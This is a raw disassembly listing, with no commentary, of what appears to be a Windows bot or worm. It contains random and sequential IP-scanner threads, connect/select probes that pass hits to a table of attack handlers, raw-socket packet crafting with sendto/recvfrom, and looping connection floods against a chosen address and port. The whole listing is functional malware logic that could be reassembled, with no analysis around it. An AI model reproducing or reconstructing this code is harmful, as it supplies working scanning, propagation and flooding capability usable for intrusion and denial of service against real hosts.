call ds:dword_4F5344 ; GetModuleFileNameA
push 103h ; Count
push edi ; Source
push offset byte_4E56C0 ; Dest
call _strncpy
mov eax, [ebp+arg_110]
add esp, 0Ch
cmp [ebp+arg_90], bl
mov dword_4E55B8, eax
mov eax, [ebp+arg_138]
pop edi
mov dword_4E5850, eax
push 7Fh ; Count
jnz short loc_40C304
lea eax, [ebp+Format]
push eax ; Source
push offset byte_4E57D0 ; Dest
call _strncpy
add esp, 0Ch
mov dword_4E5854, 1
jmp short loc_40C31E
; ---------------------------------------------------------------------------
loc_40C304: ; CODE XREF: sub_40C12D+1B8j
lea eax, [ebp+arg_90]
push eax ; Source
push offset byte_4E57D0 ; Dest
call _strncpy
add esp, 0Ch
mov dword_4E5854, ebx
loc_40C31E: ; CODE XREF: sub_40C12D+1D5j
push esi
lea eax, [ebp+Source]
push dword_4E57CC
push offset asc_4487B4 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Source]
push 4 ; int
push eax ; Source
call sub_40B756
add esp, 1Ch
mov dword_4E57C4, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_4E55B8
push offset sub_40F402
push ebx
push ebx
call ds:dword_4F5350 ; CreateThread
mov ecx, dword_4E57C4
imul ecx, 234h
cmp eax, ebx
mov dword_45602C[ecx], eax
jz short loc_40C38C
loc_40C37A: ; CODE XREF: sub_40C12D+25Dj
cmp dword_4E5858, ebx
jnz short loc_40C3A7
push 32h
call ds:dword_4F534C ; Sleep
jmp short loc_40C37A
; ---------------------------------------------------------------------------
loc_40C38C: ; CODE XREF: sub_40C12D+24Bj
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+Source]
push offset asc_4487E8 ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
loc_40C3A7: ; CODE XREF: sub_40C12D+253j
lea eax, [ebp+Source]
push eax
call sub_415C3F
pop ecx
loc_40C3B4: ; CODE XREF: sub_40C12D+35j
mov eax, [ebp+arg_130]
mov ecx, eax
shl ecx, 6
cmp dword_448234[ecx], ebx
jz loc_40C4DD
push 7
call sub_40B99E
test eax, eax
pop ecx
jnz loc_40C4D7
mov eax, dword_4E5E6C
cmp [ebp+arg_90], bl
mov dword_4E527C, eax
mov eax, [ebp+arg_110]
mov dword_4E5270, eax
mov eax, [ebp+arg_138]
mov dword_4E5278, ebx
mov dword_4E5300, eax
push 7Fh ; Count
jnz short loc_40C428
lea eax, [ebp+Format]
push eax ; Source
push offset byte_4E5280 ; Dest
call _strncpy
add esp, 0Ch
mov dword_4E5304, 1
jmp short loc_40C442
; ---------------------------------------------------------------------------
loc_40C428: ; CODE XREF: sub_40C12D+2DCj
lea eax, [ebp+arg_90]
push eax ; Source
push offset byte_4E5280 ; Dest
call _strncpy
add esp, 0Ch
mov dword_4E5304, ebx
loc_40C442: ; CODE XREF: sub_40C12D+2F9j
push dword_4E527C
lea eax, [ebp+Source]
push offset asc_44881C ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Source]
push 7 ; int
push eax ; Source
call sub_40B756
add esp, 18h
mov dword_4E5274, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_4E5270
push offset sub_40F160
push ebx
push ebx
call ds:dword_4F5350 ; CreateThread
mov ecx, dword_4E5274
imul ecx, 234h
cmp eax, ebx
mov dword_45602C[ecx], eax
jz short loc_40C4AF
loc_40C49D: ; CODE XREF: sub_40C12D+380j
cmp dword_4E5308, ebx
jnz short loc_40C4CA
push 32h
call ds:dword_4F534C ; Sleep
jmp short loc_40C49D
; ---------------------------------------------------------------------------
loc_40C4AF: ; CODE XREF: sub_40C12D+36Ej
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+Source]
push offset asc_44884C ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
loc_40C4CA: ; CODE XREF: sub_40C12D+376j
lea eax, [ebp+Source]
push eax
call sub_415C3F
pop ecx
loc_40C4D7: ; CODE XREF: sub_40C12D+2A8j
mov eax, [ebp+arg_130]
loc_40C4DD: ; CODE XREF: sub_40C12D+298j
shl eax, 6
cmp dword_448230[eax], ebx
jz loc_40C5FF
push 3
call sub_40B99E
test eax, eax
pop ecx
jnz loc_40C5FF
mov esi, offset byte_4E5AEC
push 104h
push esi
push ebx
call ds:dword_4F5344 ; GetModuleFileNameA
push 5Ch ; Ch
push esi ; Str
call _strrchr
pop ecx
cmp eax, ebx
pop ecx
jz short loc_40C51E
mov [eax], bl
loc_40C51E: ; CODE XREF: sub_40C12D+3EDj
mov eax, dword_43F07C
mov dword_4E5C04, ebx
mov dword_4E5BF0, eax
lea eax, [ebp+Format]
push eax ; Format
push offset byte_4E5864 ; Dest
call _sprintf
mov eax, [ebp+arg_110]
pop ecx
pop ecx
mov dword_4E5860, eax
mov ecx, [ebp+arg_138]
push esi
push dword_4E5BF0
mov dword_4E5BFC, ecx
mov ecx, [ebp+arg_13C]
push eax
mov dword_4E5C00, ecx
call sub_40AF71
pop ecx
push eax
lea eax, [ebp+Source]
push offset asc_448884 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Source]
push 3 ; int
push eax ; Source
call sub_40B756
add esp, 20h
mov dword_4E5BF8, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_4E5860
push offset sub_40FB50
push ebx
push ebx
call ds:dword_4F5350 ; CreateThread
mov ecx, dword_4E5BF8
imul ecx, 234h
cmp eax, ebx
mov dword_45602C[ecx], eax
jz short loc_40C5D7
loc_40C5C5: ; CODE XREF: sub_40C12D+4A8j
cmp dword_4E5C0C, ebx
jnz short loc_40C5F2
push 32h
call ds:dword_4F534C ; Sleep
jmp short loc_40C5C5
; ---------------------------------------------------------------------------
loc_40C5D7: ; CODE XREF: sub_40C12D+496j
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+Source]
push offset asc_4488C0 ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
loc_40C5F2: ; CODE XREF: sub_40C12D+49Ej
lea eax, [ebp+Source]
push eax
call sub_415C3F
pop ecx
loc_40C5FF: ; CODE XREF: sub_40C12D+14j
; sub_40C12D+25j ...
pop esi
pop ebx
leave
retn
sub_40C12D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40C603(int Dst)
sub_40C603 proc near ; CODE XREF: sub_40C951:loc_40C9C2p
Dst = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+Dst]
push esi
push 4 ; Size
lea esi, dword_4E3258[eax*8]
lea eax, [ebp+Dst]
push esi ; Src
push eax ; Dst
call _memcpy
add esp, 0Ch
push [ebp+Dst]
call dword_4E3020 ; htonl
inc eax
push eax
mov [ebp+Dst], eax
call dword_4E30F4 ; htonl
mov [ebp+Dst], eax
lea eax, [ebp+Dst]
push 4 ; Size
push eax ; Src
push esi ; Dst
call _memcpy
mov eax, [esi]
add esp, 0Ch
pop esi
pop ebp
retn
sub_40C603 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40C64B(char *Src,int)
sub_40C64B proc near ; CODE XREF: sub_40C951+69p
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
Src = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push esi
or esi, 0FFFFFFFFh
push [ebp+Src] ; Str
mov [ebp+var_C], esi
mov [ebp+var_8], esi
mov [ebp+var_4], esi
mov [ebp+var_10], esi
call _strlen
cmp eax, 0Fh
pop ecx
jbe short loc_40C673
xor eax, eax
jmp short loc_40C6E4
; ---------------------------------------------------------------------------
loc_40C673: ; CODE XREF: sub_40C64B+22j
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_C]
push eax
push offset aD_D_D_D_0 ; "%d.%d.%d.%d"
push [ebp+Src] ; Src
call _sscanf
add esp, 18h
cmp [ebp+var_C], esi
jnz short loc_40C6A0
call _rand
mov [ebp+var_C], eax
loc_40C6A0: ; CODE XREF: sub_40C64B+4Bj
cmp [ebp+var_8], esi
jnz short loc_40C6AD
call _rand
mov [ebp+var_8], eax
loc_40C6AD: ; CODE XREF: sub_40C64B+58j
cmp [ebp+var_4], esi
jnz short loc_40C6BA
call _rand
mov [ebp+var_4], eax
loc_40C6BA: ; CODE XREF: sub_40C64B+65j
mov eax, [ebp+var_10]
cmp eax, esi
jnz short loc_40C6C6
call _rand
loc_40C6C6: ; CODE XREF: sub_40C64B+74j
shl eax, 8
add eax, [ebp+var_4]
mov ecx, [ebp+var_C]
shl eax, 8
add eax, [ebp+var_8]
shl eax, 8
add eax, ecx
mov ecx, [ebp+arg_4]
mov dword_4E3258[ecx*8], eax
loc_40C6E4: ; CODE XREF: sub_40C64B+26j
pop esi
leave
retn
sub_40C64B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C6E7 proc near ; CODE XREF: sub_40BF01+59p
; sub_40C951+BBp ...
var_120 = dword ptr -120h
var_11C = dword ptr -11Ch
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 120h
push ebx
push esi
push edi
push 1
pop edi
xor ebx, ebx
push ebx
push edi
push 2
mov [ebp+var_4], edi
call dword_4E3178 ; socket
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_40C710
xor eax, eax
jmp short loc_40C77F
; ---------------------------------------------------------------------------
loc_40C710: ; CODE XREF: sub_40C6E7+23j
mov eax, [ebp+arg_0]
push [ebp+arg_4]
mov [ebp+var_1C], 2
mov [ebp+var_18], eax
call dword_4E30F8 ; htons
mov [ebp+var_1A], ax
lea eax, [ebp+var_4]
push eax
push 8004667Eh
push esi
call dword_4E3194 ; ioctlsocket
lea eax, [ebp+var_1C]
push 10h
push eax
push esi
call dword_4E30A0 ; connect
mov eax, [ebp+arg_8]
mov [ebp+var_8], ebx
mov [ebp+var_C], eax
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_120]
push ebx
push eax
push ebx
push ebx
mov [ebp+var_11C], esi
mov [ebp+var_120], edi
call dword_4E30E0 ; select
push esi
mov edi, eax
call dword_4E3190 ; closesocket
xor eax, eax
cmp edi, ebx
setnle al
loc_40C77F: ; CODE XREF: sub_40C6E7+27j
pop edi
pop esi
pop ebx
leave
retn
sub_40C6E7 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, 10110h
call __alloca_probe
push ebx
push esi
push edi
mov edi, 2649h
push edi
call dword_4E30F8 ; htons
push dword ptr [ebp+10h]
mov [ebp-28h], ax
call dword_4E30F8 ; htons
mov [ebp-26h], ax
call _rand
xor ebx, ebx
push 200h
mov [ebp-24h], eax
mov [ebp-20h], ebx
mov [ebp-1Ch], bx
mov [ebp-0Ch], bx
mov word ptr [ebp-1Ah], 5
mov [ebp-18h], bx
mov word ptr [ebp-16h], 1
mov [ebp-14h], bx
mov [ebp-12h], bx
mov [ebp-10h], bx
mov [ebp-0Eh], bx
call dword_4E30F8 ; htons
mov esi, [ebp+0Ch]
mov [ebp-0Ah], ax
mov eax, [ebp+8]
push 24h
mov [ebp-8], bx
mov [ebp-6], bx
mov [ebp-58h], eax
mov [ebp-54h], esi
mov [ebp-50h], bl
mov byte ptr [ebp-4Fh], 6
call dword_4E30F8 ; htons
mov [ebp-4Eh], ax
lea eax, [ebp-28h]
push 24h
push eax
lea eax, [ebp-4Ch]
push eax
call _memcpy
lea eax, [ebp-58h]
push 20h
push eax
call sub_40AFCA
mov [ebp-8], ax
push 10h
lea eax, [ebp-38h]
push ebx
push eax
call _memset
add esp, 20h
mov word ptr [ebp-38h], 2
push dword ptr [ebp+10h]
call dword_4E30F8 ; htons
push 6
push 3
push 2
mov [ebp-36h], ax
mov [ebp-34h], esi
mov dword ptr [ebp-4], 10h
call dword_4E3178 ; socket
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_40C883
push offset aSocketOpenFail ; "socket open failed"
jmp loc_40C944
; ---------------------------------------------------------------------------
loc_40C883: ; CODE XREF: .text:0040C877j
push dword ptr [ebp-4]
lea eax, [ebp-38h]
push eax
push ebx
lea eax, [ebp-28h]
push 24h
push eax
push esi
call dword_4E315C ; sendto
cmp eax, 14h
mov [ebp+10h], eax
jz short loc_40C8CC
call dword_4E308C ; WSAGetLastError
push eax
lea eax, [ebp-0D8h]
push dword ptr [ebp+10h]
push offset aSendtoSocketFa ; "sendto() socket failed. sent = %d <%d>."...
push eax
call _sprintf
lea eax, [ebp-0D8h]
push eax
call sub_415C3F
add esp, 14h
jmp short loc_40C915
; ---------------------------------------------------------------------------
loc_40C8CC: ; CODE XREF: .text:0040C89Ej
push 10038h
lea eax, [ebp-10110h]
push ebx
push eax
call _memset
add esp, 0Ch
loc_40C8E1: ; CODE XREF: .text:0040C908j
cmp [ebp-100FAh], di
jz short loc_40C91E
lea eax, [ebp-4]
push eax
lea eax, [ebp-38h]
push eax
push ebx
lea eax, [ebp-10110h]
push 10038h
push eax
push esi
call dword_4E30D0 ; recvfrom
test eax, eax
jge short loc_40C8E1
push offset aRecvfromSocket ; "recvfrom() socket failed"
call sub_415C3F
pop ecx
loc_40C915: ; CODE XREF: .text:0040C8CAj
push esi
call dword_4E3190 ; closesocket
jmp short loc_40C94A
; ---------------------------------------------------------------------------
loc_40C91E: ; CODE XREF: .text:0040C8E8j
push esi
call dword_4E3190 ; closesocket
cmp word ptr [ebp-100EAh], 1
jnz short loc_40C93F
push offset aSocketOpen_ ; "Socket open."
call sub_415C3F
pop ecx
push 1
pop eax
jmp short loc_40C94C
; ---------------------------------------------------------------------------
loc_40C93F: ; CODE XREF: .text:0040C92Dj
push offset aSocketClosed_ ; "Socket closed."
loc_40C944: ; CODE XREF: .text:0040C87Ej
call sub_415C3F
pop ecx
loc_40C94A: ; CODE XREF: .text:0040C91Cj
xor eax, eax
loc_40C94C: ; CODE XREF: .text:0040C93Dj
pop edi
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C951 proc near ; DATA XREF: sub_40CB69+13Bo
var_2A8 = dword ptr -2A8h
Dest = byte ptr -28Ch
var_20C = dword ptr -20Ch
var_208 = byte ptr -208h
var_1F8 = byte ptr -1F8h
var_178 = byte ptr -178h
var_16C = dword ptr -16Ch
var_168 = dword ptr -168h
var_164 = dword ptr -164h
var_15C = dword ptr -15Ch
var_158 = dword ptr -158h
Src = byte ptr -150h
var_140 = byte ptr -140h
Str = byte ptr -0C0h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = dword ptr -20h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 28Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 53h
mov esi, eax
pop ecx
lea edi, [ebp+Src]
rep movsd
mov esi, [ebp+var_2C]
mov dword ptr [eax+148h], 1
mov eax, [ebp+var_28]
mov [ebp+var_4], esi
mov [ebp+arg_0], eax
call ds:dword_4F537C ; GetTickCount
push eax ; Seed
call _srand
mov ebx, esi
pop ecx
imul ebx, 234h
loc_40C998: ; CODE XREF: sub_40C951+204j
mov eax, dword_45601C[ebx]
cmp dword_4E325C[eax*8], 0
jz loc_40CB5A
cmp [ebp+var_10], 0
push eax ; Dst
jz short loc_40C9C2
lea eax, [ebp+Src]
push eax ; Src
call sub_40C64B
pop ecx
jmp short loc_40C9C7
; ---------------------------------------------------------------------------
loc_40C9C2: ; CODE XREF: sub_40C951+60j
call sub_40C603
loc_40C9C7: ; CODE XREF: sub_40C951+6Fj
pop ecx
mov edi, eax
push [ebp+arg_0]
push dword_45601C[ebx]
push [ebp+var_3C]
push edi
call dword_4E3184 ; inet_ntoa
push eax
lea eax, [ebp+Dest]
push offset asc_448978 ; "-"
push eax ; Dest
call _sprintf
add esp, 18h
lea eax, [ebp+Dest]
push eax ; Format
lea eax, dword_455E18[ebx]
push eax ; Dest
call _sprintf
push [ebp+var_38]
push [ebp+var_3C]
push edi
call sub_40C6E7
add esp, 14h
cmp eax, 1
jnz loc_40CB4A
cmp [ebp+var_20], 0FFFFFFFFh
jnz short loc_40CA9E
push offset dword_4E5258
call ds:dword_4F53A8 ; RtlEnterCriticalSection
push [ebp+var_3C]
push edi
call dword_4E3184 ; inet_ntoa
push eax
lea eax, [ebp+Dest]
push offset asc_4489B0 ; "-"
push eax ; Dest
call _sprintf
add esp, 10h
cmp [ebp+var_14], 0
jnz short loc_40CA80
cmp [ebp+Str], 0
push 1 ; int
push [ebp+var_18] ; int
lea eax, [ebp+Dest]
push eax ; int
lea eax, [ebp+Str]
jnz short loc_40CA74
lea eax, [ebp+var_140]
loc_40CA74: ; CODE XREF: sub_40C951+11Bj
push eax ; Str
push [ebp+var_40] ; int
call sub_409D34
add esp, 14h
loc_40CA80: ; CODE XREF: sub_40C951+100j
lea eax, [ebp+Dest]
push eax
call sub_415C3F
mov [esp+2A8h+var_2A8], offset dword_4E5258
call ds:dword_4F53A4 ; RtlLeaveCriticalSection
jmp loc_40CB4A
; ---------------------------------------------------------------------------
loc_40CA9E: ; CODE XREF: sub_40C951+D0j
push edi
call dword_4E3184 ; inet_ntoa
push eax ; Format
lea eax, [ebp+var_208]
push eax ; Dest
call _sprintf
mov eax, [ebp+var_20]
pop ecx
shl eax, 6
pop ecx
add eax, offset aSym ; "sym"
push eax ; Format
lea eax, [ebp+var_178]
push eax ; Dest
call _sprintf
cmp [ebp+Str], 0
pop ecx
pop ecx
lea eax, [ebp+Str]
jnz short loc_40CAE3
lea eax, [ebp+var_140]
loc_40CAE3: ; CODE XREF: sub_40C951+18Aj
push eax ; Format
lea eax, [ebp+var_1F8]
push eax ; Dest
call _sprintf
mov eax, [ebp+var_40]
pop ecx
mov [ebp+var_20C], eax
mov eax, [ebp+var_18]
pop ecx
mov [ebp+var_15C], eax
mov eax, [ebp+var_14]
sub esp, 0BCh
mov [ebp+var_158], eax
mov eax, [ebp+var_3C]
push 2Fh
mov [ebp+var_16C], eax
mov eax, [ebp+var_20]
pop ecx
mov [ebp+var_168], esi
mov [ebp+var_164], eax
lea esi, [ebp+var_20C]
mov edi, esp
shl eax, 6
rep movsd
call off_448224[eax]
mov esi, [ebp+var_4]
add esp, 0BCh
loc_40CB4A: ; CODE XREF: sub_40C951+C6j
; sub_40C951+148j
push 7D0h
call ds:dword_4F534C ; Sleep
jmp loc_40C998
; ---------------------------------------------------------------------------
loc_40CB5A: ; CODE XREF: sub_40C951+55j
push esi
call sub_40BA72
pop ecx
push 0
call ds:dword_4F53A0 ; ExitThread
sub_40C951 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CB69 proc near ; DATA XREF: sub_401CC7+1F72o
; sub_401CC7+5CC9o
var_1DC = dword ptr -1DCh
Source = byte ptr -1CCh
var_14C = byte ptr -14Ch
Str = byte ptr -13Ch
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1CCh
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 53h
mov esi, eax
pop ecx
lea edi, [ebp+var_14C]
push 1
pop ebx
rep movsd
mov [eax+144h], ebx
lea eax, [ebp+var_14C]
push eax
call dword_4E3138 ; inet_addr
mov ecx, [ebp+var_2C]
sub esp, 14Ch
lea esi, [ebp+var_14C]
push 53h
mov dword_4E3258[ecx*8], eax
pop ecx
mov edi, esp
rep movsd
call sub_40C12D
push 0Bh
call sub_40B99E
add esp, 150h
cmp eax, ebx
jnz short loc_40CC37
mov esi, offset dword_4E5258
push esi
call ds:dword_4F53B0 ; RtlDeleteCriticalSection
push 80000400h
push esi
call ds:dword_4F53AC ; InitializeCriticalSectionAndSpinCount
test eax, eax
jnz short loc_40CC37
lea eax, [ebp+Source]
push offset asc_4489D8 ; "-"
push eax ; Dest
call _sprintf
xor ebx, ebx
pop ecx
cmp [ebp+var_10], ebx
pop ecx
jnz short loc_40CC21
push ebx ; int
lea eax, [ebp+Source]
push [ebp+var_14] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_3C] ; int
call sub_409D34
add esp, 14h
loc_40CC21: ; CODE XREF: sub_40CB69+99j
lea eax, [ebp+Source]
push eax
call sub_415C3F
pop ecx
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
; ---------------------------------------------------------------------------
loc_40CC37: ; CODE XREF: sub_40CB69+63j
; sub_40CB69+7Fj
mov eax, [ebp+var_2C]
mov esi, ds:dword_4F534C
mov edi, ebx
mov dword_4E325C[eax*8], ebx
xor ebx, ebx
cmp [ebp+var_20], 1
jb loc_40CD04
loc_40CC55: ; CODE XREF: sub_40CB69+195j
push edi
lea eax, [ebp+var_14C]
push [ebp+var_2C]
mov [ebp+var_24], edi
push [ebp+var_38]
push eax
lea eax, [ebp+Source]
push offset asc_448A0C ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Source]
push 0Bh ; int
push eax ; Source
call sub_40B756
mov [ebp+var_28], eax
imul eax, 234h
mov ecx, [ebp+var_2C]
add esp, 24h
mov dword_45601C[eax], ecx
lea eax, [ebp+var_14C]
push ebx
push ebx
push eax
push offset sub_40C951
push ebx
push ebx
call ds:dword_4F5350 ; CreateThread
mov ecx, [ebp+var_28]
imul ecx, 234h
cmp eax, ebx
mov dword_45602C[ecx], eax
jz short loc_40CCCF
loc_40CCC4: ; CODE XREF: sub_40CB69+164j
cmp [ebp+var_4], ebx
jnz short loc_40CCF6
push 1Eh
call esi ; Sleep
jmp short loc_40CCC4
; ---------------------------------------------------------------------------
loc_40CCCF: ; CODE XREF: sub_40CB69+159j
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+Source]
push offset asc_448A40 ; "-"
push eax ; Dest
call _sprintf
lea eax, [ebp+Source]
push eax
call sub_415C3F
add esp, 10h
loc_40CCF6: ; CODE XREF: sub_40CB69+15Ej
push 1Eh
call esi ; Sleep
inc edi
cmp edi, [ebp+var_20]
jbe loc_40CC55
loc_40CD04: ; CODE XREF: sub_40CB69+E6j
cmp [ebp+var_30], ebx
jz loc_40CDAE
mov eax, [ebp+var_30]
imul eax, 0EA60h
push eax
call esi ; Sleep
loc_40CD19: ; CODE XREF: sub_40CB69+250j
push [ebp+var_30]
mov eax, [ebp+var_2C]
push [ebp+var_38]
mov eax, dword_4E3258[eax*8]
push eax
call dword_4E3184 ; inet_ntoa
push eax
lea eax, [ebp+Source]
push offset asc_448A78 ; "-"
push eax ; Dest
call _sprintf
add esp, 14h
cmp [ebp+var_10], ebx
jnz short loc_40CD67
push ebx ; int
lea eax, [ebp+Source]
push [ebp+var_14] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_3C] ; int
call sub_409D34
add esp, 14h
loc_40CD67: ; CODE XREF: sub_40CB69+1DFj
lea eax, [ebp+Source]
push eax
call sub_415C3F
mov eax, [ebp+var_2C]
mov [esp+1DCh+var_1DC], 0BB8h
mov dword_4E325C[eax*8], ebx
call esi ; Sleep
push 0Bh
call sub_40B99E
cmp eax, 1
pop ecx
jnz short loc_40CD9E
push offset dword_4E5258
call ds:dword_4F53B0 ; RtlDeleteCriticalSection
loc_40CD9E: ; CODE XREF: sub_40CB69+228j
push [ebp+var_2C]
call sub_40BA72
pop ecx
push ebx
call ds:dword_4F53A0 ; ExitThread
loc_40CDAE: ; CODE XREF: sub_40CB69+19Ej
; sub_40CB69+25Dj
mov eax, [ebp+var_2C]
cmp dword_4E325C[eax*8], 1
jnz loc_40CD19
push 7D0h
call esi ; Sleep
jmp short loc_40CDAE
sub_40CB69 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CDC8 proc near ; DATA XREF: sub_40CE95+7Bo
; sub_40CF86+7Bo
var_BC = dword ptr -0BCh
Str = byte ptr -0B8h
var_38 = dword ptr -38h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = dword ptr -20h
Dst = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0BCh
mov eax, [ebp+arg_0]
push esi
push edi
push 2Bh
pop ecx
mov esi, eax
lea edi, [ebp+var_BC]
push 1
rep movsd
pop esi
mov [eax+0A8h], esi
push 10h ; Size
lea eax, [ebp+Dst]
push 0 ; Val
push eax ; Dst
call _memset
add esp, 0Ch
mov [ebp+Dst], 2
push [ebp+var_38]
call dword_4E30F8 ; htons
mov [ebp+var_E], ax
mov eax, [ebp+var_28]
push 6
push esi
push 2
mov [ebp+var_C], eax
call dword_4E3178 ; socket
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_40CE86
lea eax, [ebp+Dst]
push 10h
push eax
push esi
call dword_4E30A0 ; connect
mov ecx, [ebp+var_2C]
imul ecx, 234h
cmp eax, 0FFFFFFFFh
mov dword_456024[ecx], esi
jz short loc_40CE86
push [ebp+var_38]
push [ebp+var_28]
call dword_4E3184 ; inet_ntoa
push eax
mov edi, offset byte_4E5C1C
push offset asc_448AB8 ; "-"
push edi ; Dest
call _sprintf
push 0 ; int
lea eax, [ebp+Str]
push [ebp+var_20] ; int
push edi ; int
push eax ; Str
push [ebp+var_BC] ; int
call sub_409D34
push edi
call sub_415C3F
add esp, 28h
loc_40CE86: ; CODE XREF: sub_40CDC8+5Dj
; sub_40CDC8+7Ej
push esi
call dword_4E3190 ; closesocket
pop edi
xor eax, eax
pop esi
leave
retn 4
sub_40CDC8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
; int __cdecl sub_40CE95(int Dst)
sub_40CE95 proc near ; DATA XREF: sub_401CC7+60BFo
Dest = byte ptr -134h
var_B4 = byte ptr -0B4h
var_30 = dword ptr -30h
var_24 = dword ptr -24h
Src = dword ptr -20h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_4 = dword ptr -4
Dst = dword ptr 8
push ebp
mov ebp, esp
sub esp, 134h
push ebx
mov ebx, [ebp+Dst]
push esi
push edi
push 2Bh
mov esi, ebx
pop ecx
lea edi, [ebp+var_B4]
rep movsd
mov esi, ds:dword_4F534C
mov dword ptr [ebx+0A4h], 1
xor edi, edi
loc_40CEC3: ; CODE XREF: sub_40CE95+ECj
push [ebp+var_30]
push [ebp+Src]
call dword_4E3184 ; inet_ntoa
push eax
lea eax, [ebp+Dest]
push offset asc_448AE0 ; "-"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dest]
push 1FFh ; Count
push eax ; Source
mov eax, [ebp+var_24]
imul eax, 234h
add eax, offset dword_455E18
push eax ; Dest
call _strncpy
add esp, 1Ch
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_B4]
push edi
push eax
push offset sub_40CDC8
push edi
push edi
call ds:dword_4F5350 ; CreateThread
cmp eax, edi
mov [ebp+var_4], eax
jz short loc_40CF2F
loc_40CF24: ; CODE XREF: sub_40CE95+98j
cmp [ebp+var_C], edi
jnz short loc_40CF2F
push 32h
call esi ; Sleep
jmp short loc_40CF24
; ---------------------------------------------------------------------------
loc_40CF2F: ; CODE XREF: sub_40CE95+8Dj
; sub_40CE95+92j
push [ebp+var_4]
call ds:dword_4F533C ; CloseHandle
push dword ptr [ebx+8Ch]
mov [ebx+0A8h], edi
call esi ; Sleep
lea eax, [ebp+Src]
push 4 ; Size
push eax ; Src
lea eax, [ebp+Dst]
push eax ; Dst
call _memcpy
add esp, 0Ch
push [ebp+Dst]
call dword_4E3020 ; htonl
inc eax
push eax
mov [ebp+Dst], eax
call dword_4E30F4 ; htonl
mov [ebp+Dst], eax
lea eax, [ebp+Dst]
push 4 ; Size
push eax ; Src
lea eax, [ebp+Src]
push eax ; Dst
call _memcpy
add esp, 0Ch
jmp loc_40CEC3
sub_40CE95 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CF86 proc near ; DATA XREF: sub_401CC7+5DCFo
Dest = byte ptr -130h
var_B0 = dword ptr -0B0h
Str = byte ptr -0ACh
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_14 = dword ptr -14h
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 130h
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
push 2Bh
mov esi, ebx
pop ecx
lea edi, [ebp+var_B0]
rep movsd
mov esi, ds:dword_4F534C
mov dword ptr [ebx+0A4h], 1
xor edi, edi
loc_40CFB4: ; CODE XREF: sub_40CF86+BCj
push [ebp+var_2C]
push [ebp+var_1C]
call dword_4E3184 ; inet_ntoa
push eax
lea eax, [ebp+Dest]
push offset asc_448B08 ; "-"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dest]
push 1FFh ; Count
push eax ; Source
mov eax, [ebp+var_20]
imul eax, 234h
add eax, offset dword_455E18
push eax ; Dest
call _strncpy
add esp, 1Ch
